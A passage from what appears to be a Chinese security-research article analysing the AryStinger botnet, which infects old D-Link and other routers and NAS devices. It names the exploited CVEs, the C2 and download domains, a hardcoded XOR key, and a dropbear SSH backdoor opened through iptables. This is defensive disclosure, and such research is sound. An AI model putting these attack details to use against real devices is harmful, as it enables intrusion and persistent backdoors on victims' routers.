设备的感染规模。我们暂时不清楚，除了RTL819X和NAS，是否还存在其他攻击目标。此外，AryStinger的网络通信使用了一个硬编码密钥&#34;sh_#@!_2024_secret&#34;，其中的&#34;2024&#34;字样是否意味着攻击者早在2024年就已开始此类活动，同样也不得而知。</span></p><p data-layout-id="9" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">尽管围绕 AryStinger 仍有许多谜题待解，但仅凭其针对老旧路由器的定向攻击这一事实，就足以将其定义为一个不容小觑的现实威胁。正如国家安全部所警示：<span textstyle="" style="font-weight: bold;">“路由器作为日常上网的关键设备，一旦被非法入侵，不仅会威胁个人隐私与财产安全，甚至可能危害国家安全”。</span> 更令人担忧的是，该恶意样本及其关联的 C2 服务器在主流安全引擎中检测率极低。正是鉴于这种“低检测率”与“高潜在危害”的叠加风险，我们决定撰写本文，将研究成果分享给安全社区，以期共同应对潜在风险，维护整体网络安全。</span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><h1 data-layout-id="10" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">感染规模</span></span></h1><p data-layout-id="11" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">AryStinger会在被入侵的设备上的特定端口部署dropbear，根据这一行为特征，通过资产测绘，我们发现全球至少超过4300台路由器被感染。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-backh="211" data-backw="578" data-imgfileid="100001062" data-ratio="0.3655" data-s="300,640" type="block" data-type="png" data-w="2000" style="width:100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=7c5d442c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8xtMuvDaLEBWGlYNmia1Jt3MrjoBmhIm6NYyWLz3fyte5bOLHqsZe3GWu55JvoOnCSJGggNcia5KIQnKsKzJY2xPGK1eQdkW9Dick%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="13" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">被感染设备主要为D-LINK路由器，受影响型号如下表所示，主要分布在韩国48.45%，中国31.82%，瑞典6.40%，马来西亚3.50%，新加坡2.50%。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5223325062034739" data-s="300,640" data-type="jpeg" data-w="806" style="width:100%;" type="block" data-backw="578" data-backh="302" data-imgfileid="100001082" src="https://wechat2rss.xlab.app/img-proxy/?k=13a25b41&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fa6IDQoib5s8wAYHv92R6KHF1m3XqicveH7nsPKiaa4Lkavl6f6RickviaRm4czhUpMETRyWON3ItNVm4OvnqaW3LmPnUoO4pfOMbMdOev06etiaEM%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p data-layout-id="13" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">技术分析</span></span></p><p data-layout-id="21" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">AryStinger 分为 RTL819X 和 Standard 两个版本：前者使用 C 语言实现，主要针对 Linksys、D-Link 等老旧路由器，仅有massdns 和隧道功能，功能较为单一；后者使用 Go 语言实现，面向 NAS 设备，功能更全面，除了 IP 扫描、DNS 扫描、HTTP Alive 扫描外，还集成了 fscan、ksubdomain、httpx、Tlsx 等渗透工具，并支持远程命令执行与 Payload 执行。尽管两者在语言和功能集上存在差异，但核心工作逻辑基本一致。其实RTL819X是Standard的精简版本，正因为老旧路由器的性能无法支撑 Standard 版的完整功能，攻击者才选择用 C 语言重新实现了 Standard 的部分能力。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5275590551181102" data-s="300,640" data-type="png" data-w="1270" style="width:100%;" type="block" data-backw="578" data-backh="305" data-imgfileid="100001052" src="https://wechat2rss.xlab.app/img-proxy/?k=7a659aee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8xO4icp0icSkOaFhfZ2EecRmlJ8trnf1ic0jKMZIKKjDOYwQ1MsJKSXPZZTqI2hk7lG2uWibdwzxUARoW0bBEAwpBGsECcAtHHibys8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 data-layout-id="23" style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 20px;font-weight: bold;">第一部分: AryStinger RTL819X版</span></span></h2><p data-layout-id="24" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">AryStinger RTL819X通过CVE-2013-3307以及CVE-2016-5681传播的脚本如下所示，它的功能是先从下载服务器hgodpcx[.]ajb8.com获得最新的版本号，然后下载执行对应的AryStinger样本。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5372405372405372" data-s="300,640" data-type="png" data-w="819" type="block" data-imgfileid="100001083" src="https://wechat2rss.xlab.app/img-proxy/?k=ac9a6542&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8wnbfMyXRRUWmbK9lPPB9yzK6Bj7mG6T5cpc8Ej7mO0HjgSLTmTTQtHY8uwKmuHJHyzmxIibF1Mh2icBsvaNvzXiaT2LoG93vncWU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="25" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">从3月12日起，我们一共捕获了32个不同版本号的AryStinger样本文件。版本虽多，但其实功能变化不大。本文选取V2.0.27为主要分析对象，以下为它的基本信息。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.16356877323420074" data-s="300,640" data-type="png" data-w="807" type="block" data-imgfileid="100001086" src="https://wechat2rss.xlab.app/img-proxy/?k=52968361&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8yqZibkrHryWek7ib7xMeTgDSGTyOF8ArOKjZZWxUquSBrJGibia7Iib4FrhEEppw7prEuMVuibCDppIlibfa4KUxd9HibIwSx3gEHmwf8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="25" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">AryStinger一共支持12个不同的参数，它们的用法在usage中已详细说明，大部分和扫描相关，如设置DNS扫描的并发，超时时间，日志回传域名等。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.38485804416403785" data-s="300,640" data-type="png" data-w="1268" style="width:100%;" type="block" data-backw="578" data-backh="222" data-imgfileid="100001064" src="https://wechat2rss.xlab.app/img-proxy/?k=22e3762c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8yRuZ0D3yEqMT7ibSTvuh9dbC3y1z8XTvRQQXDkCy3aeh4kr4cU5HVpQSd148G5OqP2lgM2y3nzICias4QlqogX2fh0JgOlNibVco%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="51" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">如果运行时指定 -d参数，就会禁止daemon模式，此时AryStinger会在在前台打印出调试信息，其中包括版本号，C2以及authsvc,hbsvc,updatesvc等多个任务的相关信息。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3493975903614458" data-s="300,640" data-type="png" data-w="1245" style="width:100%;" type="block" data-backw="578" data-backh="202" data-imgfileid="100001048" src="https://wechat2rss.xlab.app/img-proxy/?k=8f2328c3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8wEXP9tmHQFVLg1bKZGgfACXq2yscgOGp3wgkHRPbYYia2ab0jGIib99cBuljHK85gYmicuVicHPZqgBcnIIia9VECiapYvCvPbqe8PI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="52" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">其实 AryStinger 的主要核心工作逻辑就是由`authsvc`、`hbsvc`、`watchdogsvc` 这些任务共同构成。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.24716786817713698" data-s="300,640" data-type="png" data-w="971" style="width:100%;" type="block" data-backw="578" data-backh="143" data-imgfileid="100001065" src="https://wechat2rss.xlab.app/img-proxy/?k=0b335b38&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8wyW4QpnaEFw7GZvd161QwzUf0y5ClD4ocE6vRZAZ1tQugicoTECKJRQXVjrfYjulO3fYJx9BIuKSuvRGAbVo9HAz1ukNtpVm1s%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="54" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">整体工作流程如下：</span></p><ol style="list-style-type: decimal;" class="list-paddingleft-1"><li><p data-layout-id="56" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"> AUTH（身份认证）</span></p><p data-layout-id="57" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">通过 `/auth` 接口向 C2 服务器 `eixfi.ajb8.com` 发送设备信息进行身份认证。认证通过后，C2 为该 Bot 分配一个唯一的 Executor ID，此后 Bot 与 C2 之间的所有通信都将附带该 ID 作为身份凭证。</span></p></li><li><p data-layout-id="58" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"> HB（心跳与配置更新）</span></p><p data-layout-id="59" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">通过 `/heartbeat` 和 `/config` 接口，实现心跳上报及配置更新功能。</span></p></li><li><p data-layout-id="60" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"> Watchdog（下载与部署）</span></p><p data-layout-id="61" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">从 Download 服务器 `hgodpcx.ajb8.com` 下载 `dropbear` 程序，并将其部署在端口 2332 上运行。</span></p></li><li><p data-layout-id="62" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"> Upgrad（样本自升级）</span></p><p data-layout-id="63" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">实现恶意样本的自动升级能力。</span></p></li><li><p data-layout-id="64" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"> TASK（任务拉取）</span></p><p data-layout-id="65" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">从 C2 服务器拉取域名探测任务。</span></p></li><li><p data-layout-id="66" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"> WORKER（任务执行）</span></p><p data-layout-id="67" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">执行 C2 下发的具体任务。</span></p></li><li><p data-layout-id="68" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"> TUNNEL（隧道穿透）</span></p><p data-layout-id="69" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">提供隧道功能，用于代理或转发网络流量。此功能在V2.0.27之后加入，使用了2个额外的C2 ``sdkv1.dataexplore.cc`` 和 ``sdkv1.dataexplore.co``。</span></p></li></ol><p data-layout-id="69" style="text-align:left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">下文将以 authsvc、watchdogsvc、tasksvc 三大任务为核心，分析 AryStinger 的功能实现。</span></p><h2 data-layout-id="71" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 18px;font-weight: bold;">① authsvc任务</span></span></h2><p data-layout-id="72" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">Bot 通过 `build_request_auth` 函数收集设备的指纹信息，包括 MAC 地址、设备名称、公网地址、内网地址、操作系统版本，CPU架构，当前时间戳等。这些敏感数据先经过 Protobuf 编码，再使用硬编码密钥 `sh_#@!_2024_secret` 进行 XOR 加密，最终通过 HTTP 协议上报到 C2 的 `/auth` 接口。C2 收到上述消息后，若判定身份认证请求来自真实设备，则会为该 Bot 分配一个 Executor ID，作为后续任务派发的凭证。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5627906976744186" data-s="300,640" data-type="png" data-w="860" style="width:100%;" type="block" data-backw="578" data-backh="325" data-imgfileid="100001066" src="https://wechat2rss.xlab.app/img-proxy/?k=5e75c7ec&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8wE6PcUXr9PZNlknic8QAatibcvHXXObSRI5Fr3ejCf8yM0YGmEtDqq4mbcb60HQleGk7wxzGw4eicM3CTLVoYic33anlLribf4NIe0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="73" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">我们在测试设备中运行的样本是V2.0.28，它产生的请求流量如下所示：</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3815915627996165" data-s="300,640" data-type="png" data-w="1043" style="width:100%;" type="block" data-backw="578" data-backh="221" data-imgfileid="100001067" src="https://wechat2rss.xlab.app/img-proxy/?k=09bf2bd1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8zWSkVM9kT6CGOFkRibWqpj476KuRxeSflJoic2c1EcQ39Z8RicJubmE7IHygwECKNwjxbqQyicvVr8VRLhIDiaqExWUicZU493RCwxE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="75" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">上述流量经xor解密，Protobuf反序列化之后如下所示，和我们的分析能一一对应</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6592635885447107" data-s="300,640" data-type="png" data-w="1711" style="width:100%;" type="block" data-backw="578" data-backh="381" data-imgfileid="100001068" src="https://wechat2rss.xlab.app/img-proxy/?k=4840c1be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8yjzMOUp2oh962AxjudgYeES6CBTlyXsbLGLtooPER3Eyzy9BbDQXyjdqaBJT9Tia47YibOtmHCEXMbMO0RKkLib8JmXENicC93mHo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="77" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">C2对上述请求的响应数据是 63 a5 cd c2 42 81 59 33，使用相同的方法对它进行解密，可以看出C2为Bot分配的Executor ID为5785933。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2127659574468085" data-s="300,640" data-type="png" data-w="611" type="block" data-imgfileid="100001090" src="https://wechat2rss.xlab.app/img-proxy/?k=b295c59a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8yzUmEs1IlLw8fxxPplQLRR7J8qg866A7gN7XvsXk36Cyqm6bzcogOfVcLA6SwxfuN9xgwNzGkCvpMibdriaqAAX4cfZh1RicVDHE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 data-layout-id="85" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 18px;font-weight: bold;">② watchdogsvc任务</span></span></h2><h2 data-layout-id="85" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">Bot从Download服务器下载`dropbear`（一个轻量级SSH服务端）和`dropbearkey`（密钥生成工具）到`/tmp/bin/`目录，在本地特定端口启动dropbear SSH服务，并配置 iptables 放行该端口流量，<span textstyle="" style="font-weight: bold;">从而为攻击者建立持久的远程登录后门</span>。</span></h2><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.1520940484937546" data-s="300,640" data-type="png" data-w="1361" style="width:100%;" type="block" data-backw="578" data-backh="88" data-imgfileid="100001069" 